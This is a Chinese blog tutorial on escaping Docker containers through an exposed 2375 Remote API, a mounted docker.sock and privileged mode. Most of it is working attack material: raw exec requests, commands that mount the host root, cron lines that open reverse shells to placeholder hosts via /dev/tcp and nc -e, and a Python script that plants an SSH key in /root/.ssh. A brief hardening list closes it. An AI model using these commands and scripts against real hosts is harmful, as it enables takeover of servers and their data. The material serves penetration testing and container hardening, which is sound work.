sock 文件方式控制宿主机_初识docker逃逸(下)

本文介绍了通过未授权访问Docker Swarm的2375端口、挂载docker.sock到容器内部以及特权模式运行容器等三种方式实现Docker逃逸的详细步骤。同时,讲解了如何利用这些漏洞执行系统命令,甚至获取宿主机的完全控制权。最后,提出了针对这些攻击方式的防御措施,包括更新Docker版本、避免以特权模式运行容器等。
摘要由CSDN通过智能技术生成

1、emote api 未授权访问

docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker。 当使用官方推荐启动方式时dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

在没有其他网络访问限制的主机上使用,则会在公网暴漏端口。

漏洞利用:

1、首先列出所有容器,得到id字段http://x.x.x.x:2375/containers/json

2、然后创建一个 execPOST /containers//exec HTTP/1.1Host: :PORTContent-Type: application/jsonContent-Length: 188{  "AttachStdin": true,  "AttachStdout": true,  "AttachStderr": true,  "Cmd": ["cat", "/etc/passwd"],  "DetachKeys": "ctrl-p,ctrl-q",  "Privileged": true,  "Tty": true}

使用burp模拟post请求发包,得到返回的id参数。

3、启动exec,成功执行了系统命令,读取到了passwd文件。POST /exec//start HTTP/1.1Host: :PORTContent-Type: application/json{ "Detach": false, "Tty": false}

成功获取到docker主机的命令执行权限,但是还无法逃逸到宿主机。

尝试通过写计划任务或者写ssh密钥得到宿主机权限

1、在容器内安装Docker作为client(可能需要换国内源)apt-get install docker.io

2、查看宿主机docker镜像信息docker -H tcp://x.x.x.x:2375 images

3、启动一个容器并将宿主机根目录挂在到容器的nuoyan目录docker -H tcp://x.x.x.x:2375 run -it -v /:/nuoyan adafef2e596e /bin/bash

4、写计划任务反弹shellecho '* * * * * bash -i >& /dev/tcp/x.x.x.x/8877 0>&1' >> /nuoyan/var/spool/cron/root

5、成功获取到宿主机shell,逃逸成功。

还可以使用师傅们写好的python脚本

写ssh密钥# coding:utf-8

import docker

import socks

import socket

import sys

import re

#开启代理

socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 1081)

#socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 1081)

socket.socket = socks.socksocket

ip = '172.16.145.165'

cli = docker.DockerClient(base_url='tcp://'+ip+':2375', version='auto')

#端口不一定为2375,指定version参数是因为本机和远程主机的API版本可能不同,指定为auto可以自己判断版本

image = cli.images.list()[0]

#读取生成的公钥

f = open('id_rsa_2048.pub', 'r')

sshKey = f.read()

f.close()

try:

cli.containers.run(

image=image.tags[0],

command='sh -c "echo '+sshKey+' >> /usr/games/authorized_keys"',

#这里卡了很久,这是正确有效的写法,在有重定向时直接写命令是无法正确执行的,记得加上sh -c

volumes={'/root/.ssh':{'bind': '/usr/games', 'mode': 'rw'}}, #找一个基本所有环境都有的目录

name='test' #给容器命名,便于后面删除

)

except docker.errors.ContainerError as e:

print(e)

#删除容器

try:

container = cli.containers.get('test')

container.remove()

except Expection as e:

continue

写计划任务(by P牛)import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')

data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

2、docker.sock挂载到容器内部

Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:1、unix:///var/run/docker.sock

2、tcp://host:port

3、fd://socketfd

其中使用docker.sock进行通信为默认方式,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。 本质上而言,能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令,以root权限运行的Docker服务通常可以访问整个主机系统。 因此,当容器访问docker socket时,我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。

利用过程:

1、首先运行一个挂载/var/run/的容器docker run -it -v /var/run/:/host/var/run/ adafef2e596e /bin/bash

2、寻找下挂载的sock文件find / -name docker.sock

3、在容器内安装Docker作为client(可能需要换国内源)apt-get install docker.io

4、查看宿主机docker信息docker -H unix:///host/var/run/docker.sock info

5、运行一个新容器并挂载宿主机根路径docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash

6、在新容器/nuoyan路径下完成对宿主机资源的访问

7、写入计划任务文件,反弹shellecho '* * * * * bash -i >& /dev/tcp/x.x.x.x/9988 0>&1' >> /nuoyan/var/spool/cron/root

成功接收到宿主机反弹的shell

3、特权模式

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。 使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。 当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

利用过程:

1、首先以特权模式运行一个docker容器docker run -it --privileged d27b9ffc5667 /bin/bash

2、查看磁盘文件fdisk -l

3、vda1存在于/dev目录下

4、新建一个目录,将/dev/vda1挂载至新建的目录mkdir /nuoyanmount /dev/vda1 /nuoyan

5、写入计划任务到宿主机echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/2100 0>&1' >> /nuoyan/var/spool/cron/root

6、开启nc监听,成功接收到宿主机反弹的shell

防御docker逃逸1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736

2、runc版本 > 1.0-rc6

3、k8s 集群版本>1.12

4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)

5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险

6、不建议以root权限运行Docker服务

7、不建议以privileged(特权模式)启动Docker

8、不建议将宿主机目录挂载至容器目录

9、不建议将容器—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值